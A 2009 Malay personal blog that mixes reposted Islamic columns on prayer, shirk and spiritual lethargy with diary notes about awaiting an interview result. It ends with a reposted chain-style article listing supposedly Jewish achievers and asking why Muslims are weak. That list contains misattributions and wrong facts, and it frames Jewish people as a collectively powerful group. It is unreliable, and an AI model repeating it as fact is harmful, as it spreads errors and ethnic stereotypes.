All about my life

Allah tidak jauh, doa sentiasa mustajab

2009-01-29T14:18:00.000+08:00

ANTARA tanda kasih sayang dan rahmat Allah kepada hamba-hamba-Nya adalah Dia tidak mewujudkan sebarang halangan untuk seorang hamba memohon kepada-Nya. Insan diperintahkan berhubung langsung dengan Allah tanpa sebarang ‘broker’ dalam hubungan yang suci itu. Tiada sebarang perantaraan antara Allah dan hamba-hamba-Nya.

Islam menolak segala unsur keberhalaan yang menjadikan makhluk sebagai tuhan jelmaan menggantikan tuhan yang hakiki. Islam menganggap perbuatan memohon kemakbulan doa dari makhluk adalah syirik. Tidak kira siapa pun makhluk itu. Sama ada dia nabi ataupun wali.

Seorang muslim tidak diizinkan pergi ke kubur mereka dan menyeru: wahai fulan tolonglah saya! Atau: Wahai nabi tolonglah tenteramkan jiwa saya! Atau: Wahai wali sembuhkanlah penyakit saya!

Perbuatan itu adalah syirik. Mukmin hanya meminta doa daripada Allah. Firman Allah: (maksudnya)

“Dan tiada yang lebih sesat dari orang yang menyeru selain Allah, yang tidak dapat menyahut seruannya sehinggalah ke hari kiamat, sedang mereka (makhluk-makhluk yang mereka sembah itu) tidak dapat menyedari permohonan tersebut. Dan apabila manusia dihimpunkan (untuk dihitung amalan pada hari akhirat), segala yang disembah itu menjadi musuh (kepada orang-orang yang menyembahnya) dan membantah mereka.” (surah al- Ahqaf: 5-6).

Firman Allah: (maksudnya)

“Allah jua yang memasukkan malam kepada siang dan memasukkan siang kepada malam (silih berganti), dan Dia yang memudahkan peredaran matahari dan bulan; tiap-tiap satu dari keduanya beredar untuk suatu masa yang telah ditetapkan. Yang melakukan semuanya itu ialah Allah Tuhan kamu, bagi-Nyalah kuasa pemerintahan; sedangkan mereka yang kamu sembah selain Allah itu tidak mendengar permohonan kamu, dan kalaulah mereka mendengar pun, mereka tidak dapat memperkenankan pemohonan kamu; dan pada hari kiamat pula mereka mengingkari perbuatan syirik kamu. Dan (ingatlah) tiada yang dapat memberi tahu kepadamu (Wahai Muhammad, akan hakikat yang sebenarnya) seperti yang diberikan Allah Yang Maha mendalam pengetahuan-Nya.” (surah Fatir: 13-14).

Maka perbuatan memohon selain Allah, sama ada menyeru berhala secara terang atau memanggil nama para wali seperti Abdul Qadir al-Jailani atau wali ‘songo’ atau apa sahaja termasuk dalam kerja-kerja syirik yang diharamkan oleh nas- nas al-Quran dan al-sunah.

Nabi s.a.w. begitu menjaga persoalan akidah ini. Daripada Ibn ‘Abbas:

“Bahawa seorang lelaki berkata kepada Nabi s.a.w: “Apa yang Allah dan engkau kehendaki.” Maka baginda bersabda kepadanya: Apakah engkau menjadikanku sekutu Allah, bahkan (katakan): apa yang hanya Allah kehendaki.” (Riwayat al-Imam Ahmad dinilai sahih oleh Al-Albani, Silsilah al-Ahadith al-Sahihah, 1/266).

Bandingkanlah ketegasan Nabi ini dengan ajaran sesetengah guru tarekat atau sufi yang mencetuskan segala unsur keajaiban pada diri mereka agar dikagumi oleh pengikutnya. Akhirnya, mereka seakan Tuhan yang disembah, atau wakil Tuhan yang menentukan penerimaan atau penolakan amalan pengikutnya. Bahkan untung rugi nasib masa depan pengikut pun seakan berada di tangan mereka. Demikian juga, pengikut yang melampau, berlebih-lebihan memuja tokoh agama, akhirnya boleh terjerumus kepada kesyirikan. Terlampau memuja tokoh seperti itulah yang menyebabkan banyak individu dianggap keramat dan suci sehingga dipanggil ‘tok keramat’ lalu mereka seakan dimaksumkan.

Kemudian, datang pula orang-orang jahil ke kubur mereka membayar nazar atau meminta hajat mereka ditunaikan. Sehingga apabila saya ke Urumuqi di China, ada satu gua yang kononnya dianggap tempat Ashabul Kahfi yang disebut dalam al-Quran itu. Ramai yang pergi melakukan kesyirikan dengan meminta hajat di situ. Saya beritahu bahawa dalam dunia ini entah berapa banyak gua yang didakwa kononnya tempat Ashabul Kahfi. Ada di Turki, Jordan dan lain-lain. Semuanya dakwaan tanpa bukti. Sama juga kononnya tempat-tempat sejarah nabi yang didakwa oleh sesetengah pihak. Tiada petunjuk yang dapat memastikan ketulenannya. Jika pun benar, mereka bukan tuhan untuk seseorang meminta hajat. Inilah yang terjadi kepada Nabi Isa. Dari seorang nabi yang diutuskan, akhirnya manusia menabalkannya menjadi anak Tuhan. Meminta hajat daripada orang-orang agama atau soleh setelah mereka mati adalah syirik. Islam tidak kenal perkara seperti itu. Islam tulen bebas dari segala unsur kebodohan tidak bertebing itu.

Ada yang cuba membela dengan menyatakan: bukan apa, mereka ini ialah orang yang dekat dengan Allah, kita ini jauh. Maka kita gunakan perantaraan mereka. Macam kita hendak dekat dengan menteri atau raja. Saya kata kepada mereka: Adakah awak menganggap Allah itu sama dengan tabiat raja atau menteri awak? Dakwaan inilah yang disanggah oleh al-Quran sekeras-kerasnya.

Firman Allah: (maksudnya)

“Ingatlah! Hanya untuk Allah agama yang bersih (dari segala rupa syirik). Dan orang-orang musyrik yang mengambil selain dari Allah untuk menjadi pelindung itu berkata: “Kami tidak menyembah mereka (tuhan-tuhan palsu) melainkan untuk mendekatkan kami kepada Allah sehampir-hampirnya”. Sesungguhnya Allah akan menghukum antara mereka tentang apa yang mereka berselisihan padanya. Sesungguhnya Allah tidak memberi hidayah petunjuk kepada orang-orang yang tetap berdusta (mengatakan yang bukan- bukan), lagi sentiasa kufur (dengan melakukan syirik).” (al-Zumar:3).

Setelah Allah menceritakan tentang bulan Ramadan dan kewajiban puasa, Allah terus menyebut kemustajaban doa. Ia menunjukkan adanya kaitan yang kuat antara puasa Ramadan dan janji Allah untuk memustajabkan doa hamba-hamba-Nya. Allah berfirman (maksudnya):

“Dan apabila hamba-hamba-Ku bertanya kepadamu mengenai Aku maka (beritahu kepada mereka): Sesungguhnya Aku (Allah) sentiasa hampir (kepada mereka); Aku perkenankan permohonan orang yang berdoa apabila dia berdoa kepada-Ku. Maka hendaklah mereka menyahut seruan-Ku (dengan mematuhi perintah-Ku), dan hendaklah mereka beriman kepada-Ku supaya mereka mendapat petunjuk.” (surah al-Baqarah: 186).

Demikian, Allah itu sentiasa hampir dengan kita, mendengar dan memperkenankan doa kita. Sesiapapun boleh sampai kepada-Nya. Tiada pengawal atau orang tengah yang menghalang seorang hamba untuk merintih dan merayu kepada Tuhannya. Siapapun hamba itu. Apa pun bangsanya dan apa pun bahasa doanya. Apa pun sejarah buruk dan baiknya. Tuhan sentiasa sudi mendengar lalu memustajabkan pemohonan mereka dengan cara yang dikehendaki-Nya. Bertambah banyak hajat dan permohonan seorang hamba, bertambah kasih dan dekat Allah kepadanya. Amat berbeza dengan tabiat makhluk yang lemah ini. Walau bagaimana baik pun seseorang dengan kita, namun jika kita terlalu meminta, perasaan jemu dan bosan akan timbul dalam jiwanya. Allah Maha Suci dari demikian. Dia menyuruh kita berdoa dan membanyakkan doa. Ini kerana doa adalah lambang kehambaan diri kepada zat yang Maha Agung.

Firman Allah (maksudnya):

“Dan Tuhan kamu berfirman: Berdoalah kamu kepada-Ku nescaya Aku perkenankan doa permohonan kamu. Sesungguhnya orang-orang yang sombong takbur daripada beribadat (berdoa kepada-Ku) akan masuk neraka jahanam dalam keadaan hina.” (surah Ghafir: 60).

Seseorang kadangkala tidak perasan bahawa apabila dia berdoa kepada Allah sebenarnya dia sedang melakukan ibadah yang besar. Walaupun pada zahirnya kelihatan dia sedang memohon untuk kepentingan diri sendiri, namun hakikatnya dia sedang membuktikan keikhlasan tauhidnya kepada Allah dan ketundukan kepada Tuhan Yang Sebenar. Maka dengan itu Nabi menyatakan: Doa itu adalah ibadah. (Riwayat Abu Daud dan al- Tirmizi, sahih). Jika sepanjang malam seorang hamba berdoa kepada Allah, bererti sepanjang malam dia melakukan ibadah yang besar.

Doa sentiasa diterima oleh Allah. Jika ada yang kelihatan tidak diterima, mungkin ada beberapa faktor yang mengganggu. Mungkin pemohonan itu tidak membawa kebaikan jika dimustajabkan. Allah Maha Mengetahui. Seperti hasrat kita ingin mengahwini seseorang yang kita suka, lalu kita berdoa agar Allah menjadikan dia pasangan kita. Allah lebih mengetahui jika itu tidak baik untuk kita lalu Allah memilih untuk kita pasangan yang lain. Atau Allah memustajabkan doa orang lain yang lebih dikehendaki-Nya. Atau Allah memustajabkan doa calon berkenaan yang inginkan orang lain. Segalanya mungkin. Namun doa tidak sia-sia. Pahala tetap diberikan, kebaikan yang lain pula akan diganti di dunia dan di akhirat.

Sabda Nabi s.a.w.:

“Tiada seorang muslim yang berdoa dengan suatu doa yang tiada dalamnya dosa, atau memutuskan silaturahim melainkan Allah akan memberikan kepadanya salah satu dari tiga perkara: sama ada disegerakan kemakbulan atau disimpan untuk diberikan pada hari akhirat, ataupun dijauhkan keburukan yang sepandan dengannya.” (Riwayat Ahmad, al-Bazzar dan Abu Ya‘la dengan sanad yang sahih).

Maka, ada doa kita kepada Allah diterima olehnya di dunia. Ada yang tidak diberi disebabkan hikmat yang Allah lebih mengetahuinya, lalu disimpan doa itu di sisi-Nya untuk diberikan pada hari akhirat dengan yang lebih baik dan lebih utama untuk kita. Atau doa itu ditukar dengan kebaikan-kebaikan yang lain seperti diselamatkan kita dari pelbagai bahaya yang sebahagian besarnya tidak pernah diduga. Betapa banyak keberbahayaan yang menimpa orang lain, tetapi kita diselamatkan oleh Allah. Tidak juga kerana permohonan kita dalam perkara tersebut atau kebijaksanaan kita, namun barangkali doa kita dalam perkara yang lain, lalu diberikan gantian keselamatan untuk kita dalam perkara yang tidak diduga. Kadangkala Dia tidak memberikan kepada kita sesuatu permohonan disebabkan rahmat-Nya kepada kita. Barangkali ingin menyelamatkan kita. Dia Maha Mengetahui, jika diberikan, mungkin kita hanyut atau menempuh sesuatu yang merugikan kehidupan di dunia atau akhirat. Kita pun demikian. Bukan bererti apabila seorang bapa tidak tunaikan kehendak anaknya tanda kebencian terhadapnya. Bahkan sebahagian besarnya kerana kasih sayang dek bimbang jika diberikan akan mendatangkan kemudaratan. Maha Suci Allah untuk dibandingkan dengan kita semua, namun yang pasti rahmat-Nya sentiasa melimpah. Jika Dia menangguhkan doa kita, tentu ada hikmah-Nya.

Di samping itu hendaklah kita faham, doa itu bermaksud permohonan. Seorang yang berdoa mestilah bersungguh-sungguh dalam doanya. Maka tidaklah dinamakan berdoa jika tidak faham apa yang kita doa. Sebab itu saya amat hairan dengan sesetengah orang yang berdoa tanpa memahami maksud. Sesetengah mereka menghafal teks Arab kerana hendak menjadi ‘tekong’ doa dalam pelbagai majlis. Malangnya, ada yang tidak faham apa yang dibaca dan yang mengaminkan pun sama. Ada orang merungut, kata mereka, umat Arab di Masjidilharam dan Masjid Nabawi tidak baca doa selepas solat beramai-ramai. Itu menunjukkan mereka tidak kuat pegangan Islam mereka. Saya katakan: Islam tidak diturun di kampung halaman kita, ia diturunkan di Mekah dan Madinah. Mereka melakukan apa yang menjadi amalan Rasulullah. Lagipun seseorang yang bersolat disuruh berdoa ketika dalam solat dan berwirid selepasnya. Dalam hadis, kita diajar agar berdoa ketika sujud dan selepas membaca tasyahud sebelum salam. Di situlah antara waktu mustajabnya doa.

Sabda Nabi s.a.w.:

“Paling dekat hamba dengan tuhannya adalah ketika sujud, maka banyakkan doa ketika sujud.” (Riwayat Muslim).

Nabi memberitahu tentang doa selepas tasyahud sebelum memberi salam dalam solat:

“Berdoalah pasti mustajab, mintalah pasti akan diberikan.” (Riwayat al-Nasai, sanadnya sahih).

Bukan bererti orang yang kita tengok tidak mengangkat tangan berdoa kuat beramai-ramai selepas solat itu tidak berdoa. Kita yang barangkali kurang faham sedangkan mungkin mereka berdoa dalam solat melebihi kita. Jika seseorang berdoa selepas memberi salam, tentulah dalam banyak hal, hajat makmum dan imam tidak sama. Maka jangan marah jika kita lihat orang berdoa bersendirian.

Nasihatilah mereka yang membaca doa tanpa faham maksudnya, atau mengaminkan tanpa mengetahui isinya. Lebih menyedihkan, kadangkala doa dibaca dengan nada dan irama yang tidak menggambarkan seorang hamba yang sedang merintih memohon kepada Allah. Sebahagian nada itu, jika seseorang bercakap kepada kita dengan menggunakannya pun kita akan pertikaikan. Layakkah nada seperti itu sebagai doa kepada Allah yang Maha Agung?

Benarlah sabda Rasulullah s.a.w.:

“Berdoalah kamu kepada Allah Taala dalam keadaan kamu yakin akan dimustajabkan. Ketahuilah sesungguhnya Allah tidak menerima doa dari hati yang lalai dan alpa.” (Riwayat al-Tirmizi, disahihkan oleh al-Albani).

Pelajari kitab nas-nas agama tentang doa kerana ianya amat penting bagi kehidupan dunia dan akhirat kita.

- DR. MOHD. ASRI ZAINUL ABIDIN ialah Mufti Kerajaan Negeri Perlis

Khamis - 29/01/2009

2009-01-29T09:49:00.002+08:00

Hari semakin suntuk bagi aku kerana keputusan yang dinanti-nantikan akan diketahui esok,sama ada dapat atau tidak hanya ku berserah kepada Allah S.W.T.Ia merupakan saat di antara hidup atau mati tapi aku kena tunggu keputusannya dan berserah.Semua telah aku lakukan yang terbaik.Perasaan aku mengatakan aku mungkin dapat kerana jawapan yang diberikan pada hari temuduga semua berlandaskan apa yang ditanya cuma ada 2,3 perkara saja yang aku terlepas pandang dan tidak ingat...aku berharap terbaik..

Penyakit futur boleh membunuh sahsiah diri

2009-01-23T09:53:00.000+08:00

Mudah kecewa, putus asa jejas kualiti peribadi punca kita mudah dipengaruhi nafsu

FUTUR adalah suatu penyakit baru yang melanda sebahagian daripada umat Islam. Dalam konteks bahasa, futur ertinya putus selepas bersambung atau tenang selepas bergerak. Juga boleh memberi erti malas atau lambat selepas rajin dan bersungguh-sungguh.

Dalam erti kata lain, futur adalah penyakit kecewa yang boleh membunuh sahsiah Muslim. Penyakit ini berupaya merencat saraf rangsangan aktivis dalaman yang akhirnya mengganggu kesungguhan dalam kerja yang diamanahkan. Ia berpunca daripada hati.

Penyakit futur ini menukar sama-sekali perlakuan pelakunya daripada seorang rajin dan semangat bekerja kepada sikap malas, putus asa, menunda atau berlambat-lambat melakukan pekerjaan.

Ia dikaitkan dengan kegagalan mencapai matlamat yang dihajati seperti tewas dalam peperangan, kalah dalam pilihan raya, gagal mencapai cita-cita peribadi atau tidak mencapai maksud dicita-citakan.

Jangan sampai ia menular dan menjadi pembunuh semangat yang senyap dalam diri individu Muslim, yang akhirnya mengembang kepada kumpulan atau jemaah Muslim sendiri.

Diriwayatkan daripada Aisyah bahawa Rasulullah SAW bersabda yang bermaksud: "Berbuat baiklah sesuai dengan kemampuanmu. Demi Allah, Allah tidak berasa bosan sehingga kamu sendiri yang berasa bosan. Dan amalan ad-din yang paling dicintai (Allah) ialah yang dilakukan secara rutin oleh pelakunya."

Sebagai umat Islam yang berpegang teguh kepada harga perjuangan, persoalan yang melanda dalam diri berpunca daripada sikap dan kualiti diri kita, ketika semangat perjuangan membakar, hendaklah segera diatasi. Jangan biarkan keinginan dan nafsu menguasai diri melepasi perjuangan sebenarnya.

Ingatlah, peristiwa kekalahan pejuang Islam dalam Perang Uhud boleh memberi iktibar kepada kita. Ketika pejuang sudah mendekati kemenangan tatkala menentang musuh, namun berakhir dengan kekalahan di luar jangkaan, kerana sebab utamanya adalah kegagalan pejuang memelihara kualiti diri mematuhi arahan ketua.

Apabila keseimbangan itu hilang, tentu akan terjadi keadaan yang tidak stabil, sedangkan strategi awalnya amatlah baik. Namun, arahan yang sepatutnya ditaati tidak berupaya diterjemahkan dalam bentuk taat dan patuh kepada arahan ketua.

Allah mengingatkan kita melalui firman yang bermaksud: "Sesungguhnya pada kisah mereka itu ada pengajaran bagi orang yang mempunyai fikiran. Al-Quran itu bukanlah cerita yang dibuat-buat, tetapi ia membenarkan (kitab) yang sebelumnya dan menjelaskan segala sesuatu, sebagai petunjuk dan rahmat bagi orang yang beriman." (Surah Yusuf, ayat 11)

Sepatutnya apa yang pernah menimpa kepada umat Islam dulu dijadikan pengajaran supaya kita tidak melakukan kesilapan serupa. Tujuan Allah menceritakannya dalam al-Quran ada hikmah dan pengajarannya.

Firman Allah yang bermaksud: "Maka ambil iktibar (pengajaran), wahai orang yang mempunyai penglihatan." (Surah al-Hasyr, ayat 2)

Sesungguhnya, banyak peristiwa berlaku pada kita hari ini adalah suatu putaran dan pusingan kehidupan. Apa yang kita alami kini pernah berlaku suatu ketika dulu dalam keadaan yang mungkin sama, cuma masa saja berlainan.

Percayalah, setiap kejadian yang berlaku hari ini akan berlaku pada depan. Yang pentingnya ialah bagaimana kita menghadapi kejadian yang akan datang melalui perancangan berjadual. Perancangan seperti ini disebut juga sebagai perencanaan berstrategik.

Sejarah perjuangan Rasulullah SAW penuh dengan perancangan dan strategi. Bermula dengan penerimaan wahyu, diikuti penyebaran Islam secara tersembunyi dan akhirnya secara terang-terangan.

Begitu juga ketika berlakunya penghijrahan Rasulullah SAW ke Yathrib, bagaimana perancangan rapi diatur Rasulullah berjaya mencapai matlamat. Ketika menjadi Ketua Negara Madinah, Baginda Rasulullah SAW membuat perancangan secara teliti dengan mempersaudarakan kaum Ansar dan Muhajirin untuk memperkuatkan kaum Muhajirin.

Diikuti perjanjian dengan puak Yahudi demi mewujudkan sebuah negara bangsa yang kuat dan utuh di Madinah sehingga akhirnya berjaya menakluki semula Makkah. Pengurusan berstrategik memerlukan kita untuk membuat perencanaan bagi menentukan matlamat, menggariskan kaedah dan tindakan untuk mencapai matlamat itu.

Strategi diperlukan menggabungkan pelbagai instrumen kekuatan sumber dimiliki untuk menghadapi persekitaran dengan sebaik-baiknya. Perencanaan juga disebut sebagai jambatan antara masa kini dengan masa depan.

Dalam soal mengatur perancangan strategi, soal penguasaan ilmu sangat penting. Rasulullah SAW menjelaskannya dalam hadis yang bermaksud: "Apabila kamu menghendaki hidup berjaya di dunia hendaklah kamu berilmu dan apabila kamu menghendaki hidup berjaya di akhirat hendaklah berilmu dan apabila kamu menghendaki kedua-duanya hendaklah juga kamu berilmu." (Riwayat Bukhari dan Muslim)

Sebenarnya, penguasaan ilmu perancangan berupaya membantu membuat perencanaan secara lebih tersusun. Gerak kerja ini perlu penelitian rapi berdasarkan kepakaran bersumberkan ilmu. Begitu juga untuk menyusun strategi. Strategi yang baik akan membuahkan hasil yang baik.

Strategi yang baik terhasil daripada pemerhatian dan kajian. Strategi yang baik juga berupaya membangunkan, mengekalkan, menangani masalah yang timbul serta cekap dalam mengatur serangan, menyerang dan menguasai musuh seperti mana dibuktikan panglima Islam terkemuka, Salahuddin Al-Ayubi.

Jika kita hanya membangun daripada segi perancangan strategi untuk memantapkan, mengukuh dan menguatkan jemaah saja sedangkan kekuatan dan strategi diatur musuh diketepikan, jawapannya kita tidak mampu menandingi pihak musuh dan tidak akan berkebolehan mengalahkan mereka.

Jangan lupa, musuh juga pasti tidak henti-henti membuat perencanaan untuk menandingi kekuatan kita. Kadangkala kita lupa bahawa strategi musuh di luar batas pemikiran.

Allah berfirman yang bermaksud: "Dan sediakanlah untuk mereka segala jenis kekuatan yang dapat kamu sediakan daripada pasukan berkuda yang lengkap dan sedia untuk menggerunkan musuh Allah dan musuh kamu serta musuh yang lain daripada mereka yang kamu tidak mengetahui sedang Allah mengetahuinya, dan apa-apa yang kamu belanjakan pada jalan Allah akan disempurnakan balasannya kepada kamu dan kamu tidak akan dianiaya." (Surah al-anfal, ayat 60)

Perencanaan yang dibuat haruslah ada tata kaedah tertentu, dilaksanakan secara berperingkat, tersusun kemas dan teratur. Perencanaan hendaklah dilakukan dalam keadaan tenang dan tidak tergesa-gesa. Ini penting kerana faktor emosi dan masalah sekeliling yang menekan akan menjadi sebab kepada perencanaan yang tidak bagus.

Rasulullah SAW bersabda yang bermaksud: "Orang yang pandai adalah yang menghisab dirinya sendiri serta beramal untuk kehidupan sesudah kematian. Sedangkan orang yang lemah adalah yang dirinya mengikuti hawa nafsunya serta berangan-angan terhadap Allah." (Hadis riwayat Tirmidzi)

Kajian menyatakan kejayaan dalam sesuatu tindakan bergantung kepada kesungguhan untuk melaksanakannya, disamping faktor pengurusan masa. Faktor penguasaan isu semasa dan keadaan sekeliling juga sebahagian daripada momentum yang penting.

Perancangan yang dibuat mestilah atas sifat sebagai hamba kepada Tuhannya. Penentuan kejayaan atau kegagalan itu bukan diberi kata putus oleh manusia. Oleh itu kita jangan menjadi angkuh dan sombong kerana kepakaran mengatur perencanaan dan menjadi strategi yang baik.

Ingatlah kuasa Allah yang menentukan kejayaan atau kegagalan. Jika kegagalan itu ada di pihak kita, ingatlah apa yang Allah katakan, 'ia adalah akibat daripada gara-gara kamu sendiri' dan setiap kejayaan daripada apa yang dirancang itu disambut dengan penuh kesyukuran. Jangan menjadi angkuh dan sombong atas kejayaan itu.

Penulis ialah Ketua Pegawai Eksekutif (CEO) Dewan Amal Islam Hadhari (Damai)

Khamis - 22/01/09

2009-01-22T15:29:00.002+08:00

Hari merupakan hari yang panas.Kepanasannya dapat dirasai walaupun berapa dalam suasana berhawa dingin....Kepanasan ini mungkin akan berlarutan....Apa yang diharapkan adalah ia akan hujan disebelah petang......Sekarang ini aku hanya menunggu keputusan temuduga pada 30 Januari 2009,aku berharap dipilih dari ratusan orang dan bekerja ditempat elok..

Siapa Yahudi? Siapa Orang Islam?

2009-01-14T08:54:00.001+08:00

SEJAK 18 hari ini seluruh dunia meratap gara-gara kezaliman Israel. Tentera Zionis terus-menerus mengebom, mengganyang rakyat Palestin. Israel, nampaknya terlalu berkuasa.

Saya tidak 'berkuasa' lagi untuk mengulas panjang mengenai peperangan sebelah pihak itu. Tapi saya ingin berkongsi dengan pembaca sekelian, siapa sebenarnya Yahudi ini dan mengapa mereka terlalu berkuasa.

Kita harus kaji secara akademik, ilmiah untuk mengetahui siapa mereka ini.

Saya amat tertarik dengan tulisan seorang penulis bebas, yang juga Pengarah Eksekutif Pusat Penyelidikan dan Kajian Keselamatan (CRSS) Pakistan, Dr. Farrukh Saleem (rujuk http://www.masada2000.org/Powerful-Jews.html) mengenai soal tersebut. Jadikanlah tulisan itu sebagai tatapan dan renungan kita semua - ke mana kita dan ke mana umat Islam harus pergi selepas ini. Dan, siapa yang harus disalahkan? (Nota: Sedikit sebanyak ia juga akan menjawab surat-surat dan SMS yang dihantar untuk ruangan Forum, Utusan Malaysia yang meminta ditonjolkan apakah produk di belakangnya Yahudi).

Begini tulisan beliau:

Hanya ada 14 juta Yahudi di muka bumi ini; tujuh juta di Amerika, lima juta di Asia, dua juta di Eropah dan 100,000 di Afrika. Bagi setiap orang Yahudi ada 100 orang Muslim (1:100). Namun, jika dicampur semua sekali, Yahudi lebih 100 kali berkuasa daripada orang Islam. Mengapa ini berlaku?

Siapa mereka ini?

Nabi Isa (Jesus of Nazareth) ialah Yahudi. Albert Einstein, saintis zaman moden paling terkemuka dan disebut oleh majalah Time sebagai 'Manusia Abad ini' ialah seorang Yahudi; Sigmund Freud - melalui teori id, ego dan super-ego ialah bapa psikoanalisis, juga seorang Yahudi; begitu juga Karl Marx, Paul Samuelson dan Milton Friedman.

Selain mereka banyak lagi orang Yahudi yang hasil kebijaksanaan mereka berupaya menghasilkan keperluan untuk kita semua: Benjamin Rubin memperkenalkan jarum suntikan pelalian.

Johas Salk mereka vaksin polio yang pertama. Gertrude Elion mencipta ubat melawan leukemia. Baruch Blumberg mencipta vaksin Hepatitis B. Paul Ehrlich menemukan rawatan untuk siflis. Elie Metchnikoff menang Hadiah Nobel untuk penyakit berjangkit. Bernard Katz menang Hadiah Nobel kerana kajian mengenai transmisi neuromuskular.

Andrew Schally penerima Nobel dalam kajian endokrinologi (berkaitan sistem endokrin dan kencing manis). Aaron Beck menemui terapi kognitif (rawatan mental, kesugulan dan fobia).

Gregory Pincus membangunkan pil perancang keluarga yang pertama. George Wald menang Nobel bagi kajian mata manusia, Standley Cohen dianugerahi Hadiah Nobel dalam kajian embriologi (kajian janin dan perkembangannya). Willem Kolff mencipta mesin dialisis (mencuci) buah pinggang.

Sejak 105 tahun, 14 juta Yahudi menang 15 dozen Hadiah Nobel, sementara tiga dimenangi oleh 1.4 bilion umat Islam.

Stanley Mezor mencipta mikrocip pertama. Leo Szilards membangunkan reaktor rangkaian nuklear pertama; Peter Schultz (kabel gentian optik); Charles Adler (lampu isyarat); Benno Strauss (besi tahan karat - stainless steel); Isador Kisee (sistem suara di pawagam); Emile Berliner (mikrofon untuk telefon) dan Charles Ginsburg (alat pita rakaman).

Saudagar jenama terkaya dunia juga dikuasai Yahudi iaitu Ralph Lauren (Polo), Levis Strauss (Levi's Jeans), Howard Schultz (Starbuck's), Sergey Brin (Google), Michael Dell (Dell Computers), Larry Ellison (Oracle), Donna Karan (DKNY), Irv Robbins (Baskin & Robbins) dan Bill Rossenberg (Dunkin Donuts).

Richard Levin, presiden universiti tersohor Yale Universiti ialah seorang Yahudi. Henry Kissinger, Joseph Lieberman dan Madeleine Albright (bekas-bekas Setiausaha Negara AS); Alan Greenspan (bekas pengerusi Rizab Persekutuan AS di bawah Reagan, Bush, Clinton dan Bush); Maxim Litvinov (bekas Menteri Luar Soviet Union); David Marshal (bekas Ketua Menteri pertama Singapura); Isaac Isaacs (bekas Gabenor Jeneral Australia); Benjamin Disraeli (negarawan dan penulis Britian); Yevgeny Primkov (bekas Perdana Menteri Rusia dan bekas jeneral KGB); Jorge Sampaio (bekas Presiden Portugal); Herb Gray (bekas Timbalan Perdana Menteri Kanada); Pierre Mendes (Perdana Menteri ke-143 Perancis); Michael Howard (bekas Setiausaha Negara British); Bruno Kreisky (bekas Canselor Austria) dan Robert Rubin (bekas Setiausaha Perbendaharaan AS).

Dalam dunia media, orang Yahudi yang terkemuka ialah Wolf Blitzer (CNN); Barbara Walters (ABC News); Eugene Meyer (Washington Post); Henry Grunwald (Ketua Editor Time); Katherine Graham (penerbit The Washington Post); Joseph Lelyyeld (Editor Eksekutif, The New York Times) dan Max Frankel (The New York Times).

Dermawan dan penyangak mata wang, George Soros ialah Yahudi. Dia menderma AS$4 bilion untuk membantu ahli sains dan universiti serata dunia.

Walter Annenberg menderma untuk membina ratusan perpustakaan berjumlah AS$2 bilion.

Di Olimpik, Mark Spitz membolot tujuh pingat emas. Lenny Krayzelburg ialah pemegang tiga kali pingat emas Olimpik. Spitz Krayzelburg dan Boris Becker adalah Yahudi.

Tahukah anda bahawa pelakon pujaan Harrison Ford, George Burns, Tony Curtis, Charles Bronson, Sandra Bullock, Billy Cystal, Woody Allen, Paul Newman, Peter Sellers, Dustin Hoffman, Michael Douglas, Ben Kingsley, Kirk Douglas, Willian Shatner, Jerry Lewis dan Peter Falk semuanya Yahudi?

Tambahan lagi, Hollywood sendiri diwujudkan oleh orang Yahudi. Antara pengarah dan penerbit, Steven Spielberg, Mel Brooks, Oliver Stone, Aaron Spelling (Beverly Hills 90210), Neil Simon (The Odd Couple), Andrew Vaina (Rambo 1- 2-3), Michael Man (Starsky and Hutch), Milos Forman (One Flew Over The Cuckoo's Nest), Douglas Fairbanks (The Thief Of Baghdad) and Ivan Reitman (Ghostbusters) - semuanya adalah Yahudi.

Mempengaruhi

Washington yang merupakan ibu negara Amerika Syarikat, mempunyai satu pertubuhan lobi yang amat berkuasa. Ia dikenali sebagai Jawatankuasa Hal Ehwal Awam Amerika Israel (AIPAC) yang berupaya mempengaruhi Kongres meluluskan resolusi memuji dan 'membuat apa saja' demi Israel.

Tahukah lagi bahawa William James Sidis dengan IQ 250-300 ialah manusia tercerdik. Dia ialah Yahudi.

Jadi, mengapa mereka ini terlalu berkuasa?

Jawapannya: Pendidikan, pelajaran, ilmu.

Mengapa umat Islam terlalu lemah?

Dianggarkan 1,476,233,470 Muslim di atas muka bumi Allah ini. Satu bilion di Asia, 400 juta di Afrika, 44 juta di Eropah dan enam juta di Amerika. Setiap lima insan manusia ialah Muslim. Setiap seorang Hindu ada dua orang Islam, setiap seorang Buddha ada dua orang Islam dan setiap seorang Yahudi ada beratus orang Islam. Mengapa orang Islam terlalu lemah?

Ini jawapannya: Terdapat 57 negara anggota OIC dan jika dicampur semua cuma ada kira-kira 500 buah universiti; atau sebuah universiti untuk setiap tiga juta orang Islam.

AS mempunyai 5,758 universiti dan India ada 8,407. Pada 2004, Shanghai Jiao Tong Universiti membuat kajian 'Kedudukan Akademik Universiti-universiti Dunia' - dan menakjubkan - tiada satu pun universiti-negara Islam yang berada di puncak 500.

Data yang dikumpul dari UNDP, tahap celik huruf di negara maju ialah hampir 90 peratus dan 15 negara itu mempunyai 100 peratus celik huruf. Negara majoriti penduduk Islam, purata kadar celik huruf ialah sekitar 40 peratus dan tiada negara yang mempunyai 100 peratus semuanya celik huruf.

Sekitar 98 peratus penduduk di negara maju menamatkan sekurang-kurang sekolah rendah, sementara hanya 50 peratus di negara majoriti Islam. Sekitar 40 peratus penduduk di negara maju memasuki universiti, sementara hanya 2 peratus di negara majoriti Islam.

Negara-negara majoriti Islam mempunyai 230 ahli sains bagi setiap (per) sejuta penduduk. Di AS 4,000 per sejuta, Jepun 5,000 per sejuta. Di seluruh negara Arab, penyelidik sepenuh masa ialah 35,000 dan hanya 50 juruteknik per sejuta (berbanding di negara maju 1,000 juruteknik per sejuta).

Negara Islam membelanjakan 0.2 peratus daripada KDNK untuk penyelidikan dan pembangunan (R&D) sebaliknya, di negara maju membelanjakan 5 peratus daripada KDNKnya.

Kesimpulan: Dunia Islam kurang keupayaan untuk menghasilkan ilmu pengetahuan.

Akhbar harian yang dibaca oleh setiap 1,000 orang dan jumlah judul buku yang dibaca oleh setiap sejuta orang adalah dua angka tunjuk bagi menentukan sama ada ilmu pengetahuan disalurkan ke dalam masyarakat.

Di Pakistan, hanya ada 23 akhbar harian per 1,000 rakyat Pakistan sementara nisbah di Singapura ialah 360. Di UK, jumlah judul buku per juta orang ialah 2,000 sementara di Mesir ialah 20.

Kesimpulan: Dunia Islam gagal menyalurkan ilmu pengetahuan.

